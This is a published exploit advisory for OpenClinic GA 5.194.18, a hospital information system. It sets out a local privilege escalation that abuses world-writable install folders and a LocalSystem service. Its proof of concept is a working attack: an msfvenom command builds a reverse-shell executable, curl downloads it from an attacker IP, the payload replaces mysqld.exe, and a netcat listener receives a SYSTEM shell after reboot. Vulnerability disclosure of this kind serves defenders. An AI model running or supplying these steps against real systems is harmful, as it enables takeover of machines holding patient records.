OpenClinic GA 5.194.18 - Local Privilege Escalation

# Exploit Title: OpenClinic GA 5.194.18 - Local Privilege Escalation
# Date: 2021-07-24
# Author: Alessandro Salzano
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
# Software Homepage: https://sourceforge.net/projects/open-clinic/
# Software Link: https://sourceforge.net/projects/open-clinic/files/latest/download
# Version: 5.194.18
# Tested on: Microsoft Windows 10 Enterprise x64

Open Source Integrated Hospital Information Management System.
OpenClinic GA is an open source integrated hospital information management system covering management of administrative, financial, clinical, lab, x-ray, pharmacy, meals distribution and other data. Extensive statistical and reporting capabilities.

Vendor: OpenClinic GA.

Affected version: > 5.194.18

# Details
# By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below.
# A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

The application also have unquoted service path issues.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing MariaDB service:

C:\projects\openclinic\mariadb\bin\mysqld.exe


	Details:


SERVICE_NAME: OpenClinicHttp
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\projects\openclinic\tomcat8\bin\tomcat8.exe //RS//OpenClinicHttp
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : OpenClinicHttp
        DEPENDENCIES       : Tcpip
                           : Afd
        SERVICE_START_NAME : NT Authority\LocalServic

--------

SERVICE_NAME: OpenClinicMySQL
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\projects\openclinic\mariadb\bin\mysqld.exe --defaults-file=c:/projects/openclinic/mariadb/my.ini OpenClinicMySQL
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : OpenClinicMySQL
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


(2) Folder permissions.
Insecure folders permissions issue:


icacls C:\projects\openclinic
C:\projects\openclinic Everyone:(I)(OI)(CI)(F)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)





                                # Proof of Concept

1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 4242
    service apache2 start

3. Download malicious .exe on victim machine
    type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
    Renename C:\projects\openclinic\mariadb\bin\mysqld.exe > mysqld.bak
    Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system